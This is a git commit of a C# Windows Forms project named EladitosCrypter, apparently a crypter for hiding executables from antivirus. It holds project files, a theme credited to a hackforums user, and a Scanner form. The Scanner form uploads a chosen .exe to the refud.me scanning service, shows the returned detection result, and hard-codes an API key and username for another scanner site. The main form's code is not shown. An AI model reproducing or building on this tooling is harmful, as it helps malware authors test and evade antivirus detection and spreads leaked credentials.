initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,159 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
|
||||
<PropertyGroup>
|
||||
<ProjectType>Local</ProjectType>
|
||||
<ProductVersion>7.10.3077</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}</ProjectGuid>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ApplicationIcon />
|
||||
<AssemblyKeyContainerName />
|
||||
<AssemblyName>EladitosCrypter</AssemblyName>
|
||||
<AssemblyOriginatorKeyFile />
|
||||
<DefaultClientScript>JScript</DefaultClientScript>
|
||||
<DefaultHTMLPageLayout>Grid</DefaultHTMLPageLayout>
|
||||
<DefaultTargetSchema>IE50</DefaultTargetSchema>
|
||||
<DelaySign>false</DelaySign>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>EladitosCrypter</RootNamespace>
|
||||
<RunPostBuildEvent>OnBuildSuccess</RunPostBuildEvent>
|
||||
<StartupObject />
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>0.0</OldToolsVersion>
|
||||
<PublishUrl>publier\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
<BaseAddress>285212672</BaseAddress>
|
||||
<CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
|
||||
<ConfigurationOverrideFile />
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<DocumentationFile />
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<FileAlignment>4096</FileAlignment>
|
||||
<NoStdLib>false</NoStdLib>
|
||||
<NoWarn />
|
||||
<Optimize>false</Optimize>
|
||||
<RegisterForComInterop>false</RegisterForComInterop>
|
||||
<RemoveIntegerChecks>false</RemoveIntegerChecks>
|
||||
<TreatWarningsAsErrors>false</TreatWarningsAsErrors>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<DebugType>full</DebugType>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
<BaseAddress>285212672</BaseAddress>
|
||||
<CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
|
||||
<ConfigurationOverrideFile />
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<DocumentationFile />
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
<FileAlignment>4096</FileAlignment>
|
||||
<NoStdLib>false</NoStdLib>
|
||||
<NoWarn />
|
||||
<Optimize>true</Optimize>
|
||||
<RegisterForComInterop>false</RegisterForComInterop>
|
||||
<RemoveIntegerChecks>false</RemoveIntegerChecks>
|
||||
<TreatWarningsAsErrors>false</TreatWarningsAsErrors>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<DebugType>none</DebugType>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="mscorlib">
|
||||
<Name>mscorlib</Name>
|
||||
<HintPath>mscorlib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System">
|
||||
<Name>System</Name>
|
||||
<HintPath>System.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Drawing">
|
||||
<Name>System.Drawing</Name>
|
||||
<HintPath>System.Drawing.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Windows.Forms">
|
||||
<Name>System.Windows.Forms</Name>
|
||||
<HintPath>System.Windows.Forms.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="EladitosCrypter\Form1.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="EladitosCrypter\Program.cs">
|
||||
<SubType>Code</SubType>
|
||||
</Compile>
|
||||
<Compile Include="EladitosCrypter\Scanner.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="EladitosCrypter\UploadFile.cs">
|
||||
<SubType>Code</SubType>
|
||||
</Compile>
|
||||
<Compile Include="InstaTheme.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="reFUDme_Scanner\XtendPicBox.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<EmbeddedResource Include="EladitosCrypter\Form1.resx">
|
||||
<DependentUpon>Form1.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="Resources\RunNet" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<PropertyGroup>
|
||||
<PreBuildEvent />
|
||||
<PostBuildEvent />
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory />
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>fr-FR</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EladitosCrypter", "EladitosCrypter.csproj", "{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,18 @@
|
||||
namespace EladitosCrypter
|
||||
{
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
internal static class Program
|
||||
{
|
||||
// Methods
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new Form1());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
namespace EladitosCrypter
|
||||
{
|
||||
using reFUDme_Scanner;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Specialized;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Windows.Forms;
|
||||
|
||||
public class Scanner : Form
|
||||
{
|
||||
// Fields
|
||||
private IContainer components = null;
|
||||
private InstaButton instaButton1;
|
||||
private InstaButton instaButton2;
|
||||
private InstaButton instaButton3;
|
||||
private InstaTheme iscannther;
|
||||
private InstaLabel label2;
|
||||
public string loc = "";
|
||||
public static string Scanapi = "0a6fd6b56d9d39f4257f8316a2e4d07f";
|
||||
private static string Scanurl = "http://s2.razorscanner.com/public_api.php";
|
||||
public static string Scanusername = "killamuvz";
|
||||
private TextBox txtURL;
|
||||
private XtendPicBox xtendPicBox1;
|
||||
|
||||
// Methods
|
||||
public Scanner()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (this.components != null))
|
||||
{
|
||||
this.components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.iscannther = new InstaTheme();
|
||||
this.instaButton3 = new InstaButton();
|
||||
this.txtURL = new TextBox();
|
||||
this.instaButton1 = new InstaButton();
|
||||
this.instaButton2 = new InstaButton();
|
||||
this.label2 = new InstaLabel();
|
||||
this.xtendPicBox1 = new XtendPicBox();
|
||||
base.SuspendLayout();
|
||||
this.iscannther.Dock = DockStyle.Fill;
|
||||
this.iscannther.Font = new Font("Verdana", 7f);
|
||||
this.iscannther.ForeColor = Color.FromArgb(0x4c, 160, 190);
|
||||
this.iscannther.Location = new Point(0, 0);
|
||||
this.iscannther.Name = "iscannther";
|
||||
this.iscannther.ShowIcon = false;
|
||||
this.iscannther.Size = new Size(0x224, 0x1eb);
|
||||
this.iscannther.TabIndex = 0;
|
||||
this.iscannther.Text = "Scanner";
|
||||
this.instaButton3.Font = new Font("Verdana", 7f);
|
||||
this.instaButton3.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
|
||||
this.instaButton3.Location = new Point(0x1f1, 0);
|
||||
this.instaButton3.Name = "instaButton3";
|
||||
this.instaButton3.Size = new Size(0x12, 0x10);
|
||||
this.instaButton3.TabIndex = 0x17;
|
||||
this.instaButton3.Text = "X";
|
||||
this.instaButton3.Click += new EventHandler(this.instaButton3_Click);
|
||||
this.txtURL.BackColor = Color.FromArgb(40, 40, 40);
|
||||
this.txtURL.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtURL.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
|
||||
this.txtURL.Location = new Point(30, 0x1b0);
|
||||
this.txtURL.Name = "txtURL";
|
||||
this.txtURL.Size = new Size(0x132, 20);
|
||||
this.txtURL.TabIndex = 0x2f;
|
||||
this.txtURL.TextChanged += new EventHandler(this.txtURL_TextChanged);
|
||||
this.instaButton1.Font = new Font("Verdana", 7f);
|
||||
this.instaButton1.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
|
||||
this.instaButton1.Location = new Point(0x167, 0x1af);
|
||||
this.instaButton1.Name = "instaButton1";
|
||||
this.instaButton1.Size = new Size(0x4b, 0x17);
|
||||
this.instaButton1.TabIndex = 0x31;
|
||||
this.instaButton1.Text = "Load";
|
||||
this.instaButton1.Click += new EventHandler(this.instaButton1_Click);
|
||||
this.instaButton2.Font = new Font("Verdana", 7f);
|
||||
this.instaButton2.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
|
||||
this.instaButton2.Location = new Point(440, 0x1af);
|
||||
this.instaButton2.Name = "instaButton2";
|
||||
this.instaButton2.Size = new Size(0x4b, 0x17);
|
||||
this.instaButton2.TabIndex = 50;
|
||||
this.instaButton2.Text = "Scan";
|
||||
this.instaButton2.Click += new EventHandler(this.instaButton2_Click);
|
||||
this.label2.BackColor = Color.FromArgb(50, 50, 50);
|
||||
this.label2.Font = new Font("Verdana", 7f);
|
||||
this.label2.ForeColor = Color.FromArgb(0x4c, 160, 190);
|
||||
this.label2.Location = new Point(0x167, 0x1ce);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(0x86, 0x13);
|
||||
this.label2.TabIndex = 0x33;
|
||||
this.label2.Text = "Please Load File";
|
||||
this.xtendPicBox1.AutoScroll = true;
|
||||
this.xtendPicBox1.BackColor = Color.FromArgb(50, 50, 50);
|
||||
this.xtendPicBox1.Location = new Point(30, 0x23);
|
||||
this.xtendPicBox1.Name = "xtendPicBox1";
|
||||
this.xtendPicBox1.PictureFile = "";
|
||||
this.xtendPicBox1.Size = new Size(0x1e5, 390);
|
||||
this.xtendPicBox1.TabIndex = 0x34;
|
||||
base.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
// base.AutoScaleMode = AutoScaleMode.Font;
|
||||
base.ClientSize = new Size(0x224, 0x1eb);
|
||||
base.Controls.Add(this.xtendPicBox1);
|
||||
base.Controls.Add(this.label2);
|
||||
base.Controls.Add(this.instaButton2);
|
||||
base.Controls.Add(this.instaButton1);
|
||||
base.Controls.Add(this.txtURL);
|
||||
base.Controls.Add(this.instaButton3);
|
||||
base.Controls.Add(this.iscannther);
|
||||
// base.FormBorderStyle = FormBorderStyle.None;
|
||||
base.Name = "Scanner";
|
||||
this.Text = "e";
|
||||
base.ResumeLayout(false);
|
||||
base.PerformLayout();
|
||||
}
|
||||
|
||||
private void instaButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog dialog = new OpenFileDialog {
|
||||
Filter = ".exe|*.exe",
|
||||
ShowHelp = true,
|
||||
Title = "Load File to Scan"
|
||||
};
|
||||
if (dialog.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
this.loc = dialog.FileName;
|
||||
this.label2.Text = "File Loaded.";
|
||||
this.label2.Refresh();
|
||||
}
|
||||
}
|
||||
|
||||
private void instaButton2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.loc == string.Empty)
|
||||
{
|
||||
this.label2.Text = "No file loaded.";
|
||||
this.label2.Refresh();
|
||||
}
|
||||
else
|
||||
{
|
||||
this.label2.Text = "Scanning...";
|
||||
this.label2.Refresh();
|
||||
this.Scan(this.loc);
|
||||
this.label2.Text = "Finished.";
|
||||
}
|
||||
}
|
||||
|
||||
private void instaButton3_Click(object sender, EventArgs e)
|
||||
{
|
||||
base.Close();
|
||||
}
|
||||
|
||||
private void Scan(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (FileStream stream = System.IO.File.Open(file, FileMode.Open))
|
||||
{
|
||||
NameValueCollection values = new NameValueCollection();
|
||||
UploadFile file2 = new UploadFile {
|
||||
ContentType = "application/x-msdownload",
|
||||
Filename = Path.GetFileName(file),
|
||||
Name = "uploadedfile",
|
||||
Stream = stream
|
||||
};
|
||||
values.Add("upload_file", "upload_file");
|
||||
Console.WriteLine("Scanning...");
|
||||
byte[] bytes = UploadFiles("http://www.refud.me/scan.php", new UploadFile[] { file2 }, values);
|
||||
string input = Encoding.UTF8.GetString(bytes);
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
string str3 = new Regex("location = \"(.*?)\";").Match(input).Groups[1].Value;
|
||||
byte[] buffer2 = new WebClient().DownloadData(str3.Replace(".php?id=", "/") + ".png");
|
||||
System.IO.File.WriteAllBytes(tempFileName, buffer2);
|
||||
this.xtendPicBox1.PictureFile = tempFileName;
|
||||
this.txtURL.Text = str3;
|
||||
}
|
||||
}
|
||||
catch (Exception exception)
|
||||
{
|
||||
MessageBox.Show(exception.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void txtURL_TextChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
public static byte[] UploadFiles(string address, IEnumerable<UploadFile> files, NameValueCollection values)
|
||||
{
|
||||
byte[] buffer3;
|
||||
WebRequest request = WebRequest.Create(address);
|
||||
request.Method = "POST";
|
||||
string str = "---------------------------" + DateTime.Now.Ticks.ToString("x", NumberFormatInfo.InvariantInfo);
|
||||
request.ContentType = "multipart/form-data; boundary=" + str;
|
||||
str = "--" + str;
|
||||
using (Stream stream = request.GetRequestStream())
|
||||
{
|
||||
byte[] buffer;
|
||||
foreach (string str2 in values.Keys)
|
||||
{
|
||||
buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine);
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
buffer = Encoding.ASCII.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"{1}{1}", str2, Environment.NewLine));
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
buffer = Encoding.UTF8.GetBytes(values[str2] + Environment.NewLine);
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
}
|
||||
foreach (UploadFile file in files)
|
||||
{
|
||||
buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine);
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
buffer = Encoding.UTF8.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"{2}", file.Name, file.Filename, Environment.NewLine));
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
buffer = Encoding.ASCII.GetBytes(string.Format("Content-Type: {0}{1}{1}", file.ContentType, Environment.NewLine));
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
file.Stream.CopyTo(stream);
|
||||
buffer = Encoding.ASCII.GetBytes(Environment.NewLine);
|
||||
stream.Write(buffer, 0, buffer.Length);
|
||||
}
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(str + "--");
|
||||
stream.Write(bytes, 0, bytes.Length);
|
||||
}
|
||||
using (WebResponse response = request.GetResponse())
|
||||
{
|
||||
using (Stream stream2 = response.GetResponseStream())
|
||||
{
|
||||
using (MemoryStream stream3 = new MemoryStream())
|
||||
{
|
||||
stream2.CopyTo(stream3);
|
||||
buffer3 = stream3.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
return buffer3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
namespace EladitosCrypter
|
||||
{
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
public class UploadFile
|
||||
{
|
||||
// Methods
|
||||
public UploadFile()
|
||||
{
|
||||
this.ContentType = "application/octet-stream";
|
||||
}
|
||||
|
||||
// Properties
|
||||
public string ContentType { get; set; }
|
||||
|
||||
public string Filename { get; set; }
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public System.IO.Stream Stream { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,517 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
|
||||
//Theme created by DoggyCollin.
|
||||
//http://www.hackforums.net/member.php?action=profile&uid=1278211
|
||||
|
||||
internal class InstaTheme : Control
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets the visibility of the icon copied from the parent control.
|
||||
/// </summary>
|
||||
public bool ShowIcon { get { return _showIcon; } set { _showIcon = value; Invalidate(); } }
|
||||
private bool _showIcon;
|
||||
|
||||
private Graphics G;
|
||||
|
||||
private Pen borderColor;
|
||||
private SolidBrush textColor;
|
||||
private SolidBrush fillheaderColor;
|
||||
private SolidBrush fillbodyColor;
|
||||
|
||||
private Icon icon;
|
||||
|
||||
public InstaTheme()
|
||||
{
|
||||
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.UserPaint | ControlStyles.ResizeRedraw, true);
|
||||
borderColor = new Pen(Color.FromArgb(49, 49, 49));
|
||||
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
|
||||
fillheaderColor = new SolidBrush(Color.FromArgb(49, 49, 49));
|
||||
fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212));
|
||||
|
||||
//Set defaults
|
||||
Font = new Font("Verdana", 7.0F);
|
||||
ForeColor = textColor.Color;
|
||||
}
|
||||
|
||||
protected override void OnHandleCreated(EventArgs e)
|
||||
{
|
||||
Dock = DockStyle.Fill;
|
||||
if (Parent is Form)
|
||||
{
|
||||
Form tempWith1 = (Form)Parent;
|
||||
tempWith1.FormBorderStyle = 0;
|
||||
tempWith1.BackColor = fillheaderColor.Color;
|
||||
icon = tempWith1.Icon;
|
||||
}
|
||||
base.OnHandleCreated(e);
|
||||
}
|
||||
protected override void OnMouseDown(System.Windows.Forms.MouseEventArgs e)
|
||||
{
|
||||
if (new Rectangle(Parent.Location.X, Parent.Location.Y, Width, 22).IntersectsWith(new Rectangle(MousePosition.X, MousePosition.Y, 1, 1)))
|
||||
{
|
||||
Capture = false;
|
||||
Message M = Message.Create(Parent.Handle, 161, new IntPtr(2), IntPtr.Zero);
|
||||
DefWndProc(ref M);
|
||||
}
|
||||
base.OnMouseDown(e);
|
||||
}
|
||||
|
||||
protected override void OnPaintBackground(PaintEventArgs pevent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
G = e.Graphics;
|
||||
G.Clear(BackColor);
|
||||
|
||||
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, 23));
|
||||
G.FillRectangle(fillheaderColor, new Rectangle(1, 1, Width, 23));
|
||||
|
||||
if (ShowIcon)
|
||||
{
|
||||
G.DrawIcon(icon, new Rectangle(5, 6, 12, 12));
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(22, 6));
|
||||
}
|
||||
else
|
||||
{
|
||||
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(5, 6));
|
||||
}
|
||||
|
||||
G.DrawLine(new Pen(Color.FromArgb(249, 249, 249)), 4, 24, Width - 5, 24);
|
||||
|
||||
G.FillRectangle(fillbodyColor, new Rectangle(4, 25, Width - 8, Height - 29));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
internal class InstaButton : Control
|
||||
{
|
||||
private Graphics G;
|
